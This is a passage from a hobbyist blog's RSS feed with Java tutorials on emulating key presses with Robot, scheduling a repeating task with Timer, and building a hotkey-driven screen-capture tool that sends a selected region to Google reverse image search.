     case &#39;^&#39;: doType(KeyEvent.VK_CIRCUMFLEX); break;  
     case &#39;&amp;amp;&#39;: doType(KeyEvent.VK_AMPERSAND); break;  
     case &#39;*&#39;: doType(KeyEvent.VK_ASTERISK); break;  
     case &#39;(&#39;: doType(KeyEvent.VK_LEFT_PARENTHESIS); break;  
     case &#39;)&#39;: doType(KeyEvent.VK_RIGHT_PARENTHESIS); break;  
     case &#39;_&#39;: doType(KeyEvent.VK_UNDERSCORE); break;  
     case &#39;+&#39;: doType(KeyEvent.VK_PLUS); break;  
     case &#39;\t&#39;: doType(KeyEvent.VK_TAB); break;  
     case &#39;\n&#39;: doType(KeyEvent.VK_ENTER); break;  
     case &#39;[&#39;: doType(KeyEvent.VK_OPEN_BRACKET); break;  
     case &#39;]&#39;: doType(KeyEvent.VK_CLOSE_BRACKET); break;  
     case &#39;\\&#39;: doType(KeyEvent.VK_BACK_SLASH); break;  
     case &#39;{&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_OPEN_BRACKET); break;  
     case &#39;}&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_CLOSE_BRACKET); break;  
     case &#39;|&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_BACK_SLASH); break;  
     case &#39;;&#39;: doType(KeyEvent.VK_SEMICOLON); break;  
     case &#39;:&#39;: doType(KeyEvent.VK_COLON); break;  
     case &#39;\&#39;&#39;: doType(KeyEvent.VK_QUOTE); break;  
     case &#39;&quot;&#39;: doType(KeyEvent.VK_QUOTEDBL); break;  
     case &#39;,&#39;: doType(KeyEvent.VK_COMMA); break;  
     case &#39;&amp;lt;&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_COMMA); break;  
     case &#39;.&#39;: doType(KeyEvent.VK_PERIOD); break;  
     case &#39;&amp;gt;&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_PERIOD); break;  
     case &#39;/&#39;: doType(KeyEvent.VK_SLASH); break;  
     case &#39;?&#39;: doType(KeyEvent.VK_SHIFT, KeyEvent.VK_SLASH); break;  
     case &#39; &#39;: doType(KeyEvent.VK_SPACE); break;  
     default:  
       throw new IllegalArgumentException(&quot;Cannot type character &quot; + character);  
     }  
   }  
   protected void doType(int... keyCodes) {  
     doTypeChar(keyCodes, 0, keyCodes.length);  
   }  
   private void doTypeChar(int[] keyCodes, int offset, int length) {  
     if (length == 0) {  
       return;  
     }  
     robot.keyPress(keyCodes[offset]);  
     doTypeChar(keyCodes, offset + 1, length - 1);  
     robot.keyRelease(keyCodes[offset]);  
   }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/emulate-keyboard-keys-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwWf3mbj7_v6dAtrPWezU-SMfB1outWXBOY1-IjPHOrqwZaxd5ehxxldcj_zysGqSUE1suGZJEXHgo941cijk0LxmP8LF4mTd6SH1EMhFU4OOdcQOQxwxJUHiGOJDaPvBEF24I9RGVr8KR/s72-c/Capture.PNG" height="72" width="72"/><thr:total>2</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-6072175420028079133</guid><pubDate>Mon, 05 Dec 2016 13:27:00 +0000</pubDate><atom:updated>2016-12-05T05:27:42.122-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">calendar</category><category domain="http://www.blogger.com/atom/ns#">calender</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">schedule</category><category domain="http://www.blogger.com/atom/ns#">task</category><category domain="http://www.blogger.com/atom/ns#">timer</category><title>Schedule task using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
We can schedule a task using Java such that it will run everyday or on specified day at specified time.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ScheduleTask&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ScheduleTask&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Main method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           System.out.println(&quot;Program started at &quot;+new Date());  
           Calendar calendar = Calendar.getInstance();  
     calendar.add(Calendar.MINUTE,1);  
     TimerTask task = new TimerTask() {  
       @Override  
       public void run() {  
            System.out.println(&quot;Task started at &quot;+new Date());  
            System.out.println(&quot;Hello !!!&quot;);  
       }  
      };  
      runTask(calendar,task);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We print the current data and time&lt;br /&gt;
2) We make a calender object which will point to current time+1 minute&lt;br /&gt;
3) We make a new task using TimerTask class&lt;br /&gt;
4) We define task content in the run method.&lt;br /&gt;
5) So if the task run it will print the time at which task ran along with a message Hello&lt;br /&gt;
6) We call the method runTask which actually schedule the task defined in step4 at time defined at step2&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;runTask method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void runTask(Calendar calendar, TimerTask task)  
      {  
           Timer time = new Timer();   
     time.schedule(task, calendar.getTime(), TimeUnit.SECONDS.toMillis(15));  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We define an object of Timer&lt;br /&gt;
2) We call the schedule method. It takes 3 argument&lt;br /&gt;
3) First argument takes the task to be run&lt;br /&gt;
4) Second argument defines the time after which task will start running. We made it as current time&amp;nbsp;+1&lt;br /&gt;
5) Third argument tells the time after which task run again after it completes. Here we made it as 15 seconds.&lt;br /&gt;
6) So finally when you run the program, task starts after 1 minutes and after completion it will rerun again after every 15 seconds&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Program started at Mon Dec 05 18:40:55 IST 2016  
 Task started at Mon Dec 05 18:41:55 IST 2016  
 Hello !!!  
 Task started at Mon Dec 05 18:42:10 IST 2016  
 Hello !!!  
 Task started at Mon Dec 05 18:42:25 IST 2016  
 Hello !!!  
 Task started at Mon Dec 05 18:42:40 IST 2016  
 Hello !!!  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.util.Calendar;  
 import java.util.Date;  
 import java.util.Timer;  
 import java.util.TimerTask;  
 import java.util.concurrent.TimeUnit;  
 public class ScheduleTask {  
      /**  
       * @param args  
       */  
      public static void main(String[] args) {  
           // TODO Auto-generated method stub  
           System.out.println(&quot;Program started at &quot;+new Date());  
           Calendar calendar = Calendar.getInstance();  
     calendar.add(Calendar.MINUTE,1);  
     TimerTask task = new TimerTask() {  
       @Override  
       public void run() {  
            System.out.println(&quot;Task started at &quot;+new Date());  
            System.out.println(&quot;Hello !!!&quot;);  
       }  
      };  
      runTask(calendar,task);  
      }  
      public static void runTask(Calendar calendar, TimerTask task)  
      {  
           Timer time = new Timer();   
     time.schedule(task, calendar.getTime(), TimeUnit.SECONDS.toMillis(15));  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Hope it helps :)&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2016/12/schedule-task-using-java.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>1</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6044825 37.654286000000042 49.791850499999995 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-2729122796670414663</guid><pubDate>Sun, 04 Dec 2016 10:13:00 +0000</pubDate><atom:updated>2016-12-04T02:15:32.507-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">c++</category><category domain="http://www.blogger.com/atom/ns#">goggles</category><category domain="http://www.blogger.com/atom/ns#">google</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">resolve</category><category domain="http://www.blogger.com/atom/ns#">reverse</category><category domain="http://www.blogger.com/atom/ns#">search</category><category domain="http://www.blogger.com/atom/ns#">upload</category><title>Search inside your images using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
This software&amp;nbsp;will let you search any person or thing from your album,wallpaper,or even from internet websites like facebook.&lt;br /&gt;
Our Java program automates the Google Image search so that the image search becomes very simple.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java/C++&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/ImageResolver&quot;&gt;https://github.com/csanuragjain/extra/tree/master/ImageResolver&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Software:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/blob/master/ImageResolver/Software/ImageResolver.jar?raw=true&quot;&gt;https://github.com/csanuragjain/extra/blob/master/ImageResolver/Software/ImageResolver.jar?raw=true&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/blob/master/ImageResolver/Software/ImageResolver.dll?raw=true&quot;&gt;https://github.com/csanuragjain/extra/blob/master/ImageResolver/Software/ImageResolver.dll?raw=true&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Pre-requisite:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;&lt;b&gt;Download url:&lt;/b&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;&lt;b&gt;ImagePanel.java : &lt;/b&gt;   
&lt;a href=&quot;https://github.com/csanuragjain/recorder/blob/master/DesktopScreenshotMaker/Code/ImagePanel.java&quot;&gt;https://github.com/csanuragjain/recorder/blob/master/DesktopScreenshotMaker/Code/ImagePanel.java&lt;/a&gt;  
&lt;b&gt;MyLogger.dll :&lt;/b&gt;    
&lt;a href=&quot;https://github.com/csanuragjain/recorder/blob/master/DesktopScreenshotMaker/Code/dll/MyLogger.dll&quot;&gt;https://github.com/csanuragjain/recorder/blob/master/DesktopScreenshotMaker/Code/dll/MyLogger.dll&lt;/a&gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;b&gt;References:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2016/11/create-desktop-screenshot-maker.html&quot;&gt;https://cooltrickshome.blogspot.in/2016/11/create-desktop-screenshot-maker.html&lt;/a&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.in/2016/11/creating-your-personal-keylogger-from.html&quot;&gt;https://cooltrickshome.blogspot.in/2016/11/creating-your-personal-keylogger-from.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;POM Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.httpcomponents/httpclient --&amp;gt;  
 &amp;lt;dependency&amp;gt;  
   &amp;lt;groupId&amp;gt;org.apache.httpcomponents&amp;lt;/groupId&amp;gt;  
   &amp;lt;artifactId&amp;gt;httpclient&amp;lt;/artifactId&amp;gt;  
   &amp;lt;version&amp;gt;4.5.2&amp;lt;/version&amp;gt;  
 &amp;lt;/dependency&amp;gt;  
 &amp;lt;!-- https://mvnrepository.com/artifact/org.apache.httpcomponents/httpmime --&amp;gt;  
 &amp;lt;dependency&amp;gt;  
   &amp;lt;groupId&amp;gt;org.apache.httpcomponents&amp;lt;/groupId&amp;gt;  
   &amp;lt;artifactId&amp;gt;httpmime&amp;lt;/artifactId&amp;gt;  
   &amp;lt;version&amp;gt;4.5.2&amp;lt;/version&amp;gt;  
 &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;How it works:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
1) Suppose you see an actor on an image on your facebook posts&lt;br /&gt;
2) Just Press F8&lt;br /&gt;
3) Use your mouse and drag that actor image using mouse&lt;br /&gt;
4) Software will upload that actor image to Google and show you the result instantly.&lt;br /&gt;
5) For exiting the software simply press F9&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Note:&lt;/b&gt;&lt;br /&gt;
1) As mentioned on pressing F8 a separate frame open up with user current screen background for selecting the image region. In some cases the open frame may get minimized so in those case user will need to maximize the window and then select the region.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Major Module:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Upload method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  public void upload(File file)  
   throws Exception  
  {  
   final JFrame temp = new JFrame(&quot;Searching...&quot;);  
   Thread t2 = new Thread()  
   {  
    public void run()  
    {  
     temp.setSize(250, 0);  
     temp.setLayout(new FlowLayout());  
     temp.setVisible(true);  
     temp.setDefaultCloseOperation(2);  
    }  
   };  
   t2.start();  
   MultipartEntity entity = new MultipartEntity();  
   entity.addPart(&quot;encoded_image&quot;, new InputStreamBody(new FileInputStream(file), file.getName()));  
   HttpPost post = new HttpPost(&quot;https://www.google.com/searchbyimage/upload&quot;);  
   post.setEntity(entity);  
   HttpClient client = new DefaultHttpClient();  
   HttpResponse response = client.execute(post);  
   String site = response.getFirstHeader(&quot;location&quot;).getValue();  
   Runtime.getRuntime().exec(&quot;cmd /c start &quot; + site);  
   temp.dispose();  
   lock = false;  
  }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This module receives the file object pointing to the screenshot of the image to be searched&lt;br /&gt;
2) We show a frame to user saying Searching&lt;br /&gt;
3) Now we make a POST call to&amp;nbsp;&lt;a href=&quot;https://www.google.com/searchbyimage/upload&quot;&gt;https://www.google.com/searchbyimage/upload&lt;/a&gt;&amp;nbsp;and pass the file object we received as argument.&lt;br /&gt;
4) The response from google contains the page having result in the location header. We fetch the url from location header.&lt;br /&gt;
5) We use runtime to open the url found in previous step&lt;br /&gt;
6) The http library dependency are mentioned in POM Dependency section of this blog post.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;showFrame method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  public void showFrame()  
   throws Exception  
  {  
   lock = true;  
   Dimension size = Toolkit.getDefaultToolkit().getScreenSize();  
   Robot robot = new Robot();  
   BufferedImage img = robot.createScreenCapture(new Rectangle(size));  
   ImagePanel panel = new ImagePanel(img);  
   add(panel);  
   setLocation(0, 0);  
   setSize(size);  
   setLayout(new FlowLayout());  
   setUndecorated(true);  
   setVisible(true);  
   addMouseListener(this);  
   addMouseMotionListener(this);  
   setDefaultCloseOperation(2);  
  }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) When a user press F8 this module is used&lt;br /&gt;
2) It takes screenshot of the current user screen and paste that on a JFrame&lt;br /&gt;
3) JFrame having the screen background is shown to user where now user can use his mouse to drag the portion of image which he would like to search.&lt;br /&gt;
4) This module use ImagePanel which you can get from Pre-requisite section of this blog post.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;main Method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  public static void main(String[] args)  
  {  
   try  
   {  
    JFrame f1 = new JFrame(&quot;ImageResolver Help (Exit the App using F9)&quot;);  
    JLabel l1 = new JLabel(&quot;Please read this before continuing to the program&quot;);  
    JLabel l2 = new JLabel(&quot;Begin Image Search&quot;);  
    JLabel l3 = new JLabel(&quot;To begin Image Search,Open the image and then press F8 key&quot;);  
    JLabel l4 = new JLabel(&quot;A window will open.Just drag the area of the image which you want to search&quot;);  
    JLabel l5 = new JLabel(&quot;After a small delay the search results will be displayed&quot;);  
    JLabel l6 = new JLabel(&quot;------------------------------------------------------------------&quot;);  
    JLabel l7 = new JLabel(&quot;Exit the program&quot;);  
    JLabel l8 = new JLabel(&quot;For exiting the program Press F9.A confirmation message will be displayed and after that application will close.&quot;);  
    JLabel l9 = new JLabel(&quot;------------------------------------------------------------------&quot;);  
    JLabel l10 = new JLabel(&quot;Note: Multiple Searches are not allowed. Please close this window before staring to use the software.&quot;);  
    JLabel blank = new JLabel(&quot;&quot;);  
    JLabel startinfo7 = new JLabel(&quot;Software has been Developed by....&quot;);  
    JLabel startinfo8 = new JLabel(&quot;Anurag Jain&quot;);  
    JLabel startinfo9 = new JLabel(&quot;Software Engineer&quot;);  
    JLabel startinfo10 = new JLabel(&quot;(cs.anurag.jain@gmail.com)&quot;);  
    JLabel startinfo11 = new JLabel(&quot;Project Homepage: https://cooltrickshome.blogspot.in&quot;);  
    JLabel startinfo12 = new JLabel(&quot;For any problems or feedback you may contact me directly at cs.anurag.jain@gmail.com&quot;);  
    f1.add(l1);  
    f1.add(l2);  
    f1.add(l3);  
    f1.add(l4);  
    f1.add(l5);  
    f1.add(l6);  
    f1.add(l7);  
    f1.add(l8);  
    f1.add(l9);  
    f1.add(l10);  
    f1.add(blank);  
    f1.add(blank);  
    f1.add(blank);  
    f1.add(startinfo7);  
    f1.add(startinfo8);  
    f1.add(startinfo9);  
    f1.add(startinfo10);  
    f1.add(startinfo11);  
    f1.add(startinfo12);  
    f1.setLayout(new GridLayout(19, 1));  
    f1.setVisible(true);  
    f1.setSize(700, 700);  
    f1.setDefaultCloseOperation(2);  
    Thread t1 = new Thread(new ImageResolver());  
    t1.start();  
   }  
   catch (Exception e)  
   {  
    JOptionPane.showConfirmDialog(  
     null, &quot;Some Problem Occured.Please try again&quot;, &quot;Error&quot;,   
     -1);  
   }  
  }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We make a Jframe and show how software is going to work&lt;br /&gt;
2) We start the thread made in this class so the run method gets called&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;run Method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  public synchronized void run()  
  {  
   for (;;)  
   {  
    int value = getKeys();  
    if ((value == 119) &amp;amp;&amp;amp; (lock))  
    {  
     JOptionPane.showConfirmDialog(  
      null, &quot;You can only run one query at a time.Let the previous search complete then you may continue with the new search&quot;, &quot;Error&quot;,   
      -1);  
    }  
    else if ((value == 119) &amp;amp;&amp;amp; (!lock))  
    {  
     try  
     {  
      Thread t2 = new Thread()  
      {  
       public void run()  
       {  
        try  
        {  
         new ImageResolver().showFrame();  
        }  
        catch (Exception e)  
        {  
         ImageResolver.lock = false;  
         JOptionPane.showConfirmDialog(  
          null, &quot;Some Problem Occured.Please try again&quot;, &quot;Error&quot;,   
          -1);  
        }  
       }  
      };  
      t2.start();  
     }  
     catch (Exception e)  
     {  
      lock = false;  
      JOptionPane.showConfirmDialog(  
          null, &quot;Some Problem Occured.Please try again&quot;, &quot;Error&quot;,   
          -1);  
     }  
    }  
    else if (value == 120)  
    {  
     JOptionPane.showConfirmDialog(  
      null, &quot;Exiting...&quot;, &quot;Exit&quot;,   
      -1);  
     System.exit(0);  
    }  
   }  
  }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This thread keep track of the key pressed by user. It makes use of ImageResolver.dll which you can obtain from pre-requisite section of this blog post.&lt;br /&gt;
2) 119 is keycode of F8 and 120 is keycode for F9 as already told in earlier post for keylogger (References section)&lt;br /&gt;
3) lock variable make sure that user can perform only one search at a time&lt;br /&gt;
4) If user press F8 then showFrame method gets called&lt;br /&gt;
5) If user press F9 then program exits&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Mouse events method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;  public void draggedScreen()  
   throws Exception  
  {  
   int w = this.c1 - this.c3;  
   int h = this.c2 - this.c4;  
   w *= -1;  
   h *= -1;  
   Robot robot = new Robot();  
   BufferedImage img = robot.createScreenCapture(new Rectangle(this.c1, this.c2, w, h));  
   File save_path = new File(&quot;screen1.jpg&quot;);  
   ImageIO.write(img, &quot;JPG&quot;, save_path);  
   dispose();  
   upload(save_path);  
  }  
   public void mouseClicked(MouseEvent arg0) {}  
  public void mouseEntered(MouseEvent arg0) {}  
  public void mouseExited(MouseEvent arg0) {}  
  public void mousePressed(MouseEvent arg0)  
  {  
   repaint();  
   this.c1 = arg0.getX();  
   this.c2 = arg0.getY();  
  }  
  public void mouseReleased(MouseEvent arg0)  
  {  
   repaint();  
   if (this.drag_status == 1)  
   {  
    this.c3 = arg0.getX();  
    this.c4 = arg0.getY();  
    try  
    {  
     draggedScreen();  
    }  
    catch (Exception e)  
    {  
     e.printStackTrace();  
    }  
   }  
  }  
  public void mouseDragged(MouseEvent arg0)  
  {  
   repaint();  
   this.drag_status = 1;  
   this.c3 = arg0.getX();  
   this.c4 = arg0.getY();  
  }  
  public void mouseMoved(MouseEvent arg0) {}  
  public void paint(Graphics g)  
  {  
   super.paint(g);  
   int w = this.c1 - this.c3;  
   int h = this.c2 - this.c4;  
   w *= -1;  
   h *= -1;  
   if (w &amp;lt; 0) {  
    w *= -1;  
   }  
   g.drawRect(this.c1, this.c2, w, h);  
  }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;How it works:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) When mouse is pressed we record the starting coordinate in c1 &amp;amp; c2&lt;br /&gt;
2) When mouse is dragged then we record the ending coordinate in c3 &amp;amp; c4. We call the paint method which starts drawing the rectangle to show the selected region described by (c1,c2) &amp;amp; (c3,c4)&lt;br /&gt;
3) When mouse is released we get the final region for which screenshot need to taken and update c3 and c4.&lt;br /&gt;
&lt;br /&gt;
4) We call draggedScreen method which simply takes the screenshot of the region selected by user and saves it using ImageIO write method.&lt;br /&gt;
5) Finally upload method gets called which retreives the result for this image.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYhKiKNlwiPF5eZem7_k4ZsVfslmL4yVl0Aec8tFIFLVILB-x42VEkZdR_w_nvNt65As4SLQE88v6QN1n7Hp79Y7cLcp6fpfX0p7YnoF3RN6YJQBAxibmF09Q7cDG88EYmRvo64kj6MMN3/s1600/Note.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYhKiKNlwiPF5eZem7_k4ZsVfslmL4yVl0Aec8tFIFLVILB-x42VEkZdR_w_nvNt65As4SLQE88v6QN1n7Hp79Y7cLcp6fpfX0p7YnoF3RN6YJQBAxibmF09Q7cDG88EYmRvo64kj6MMN3/s320/Note.PNG&quot; width=&quot;315&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
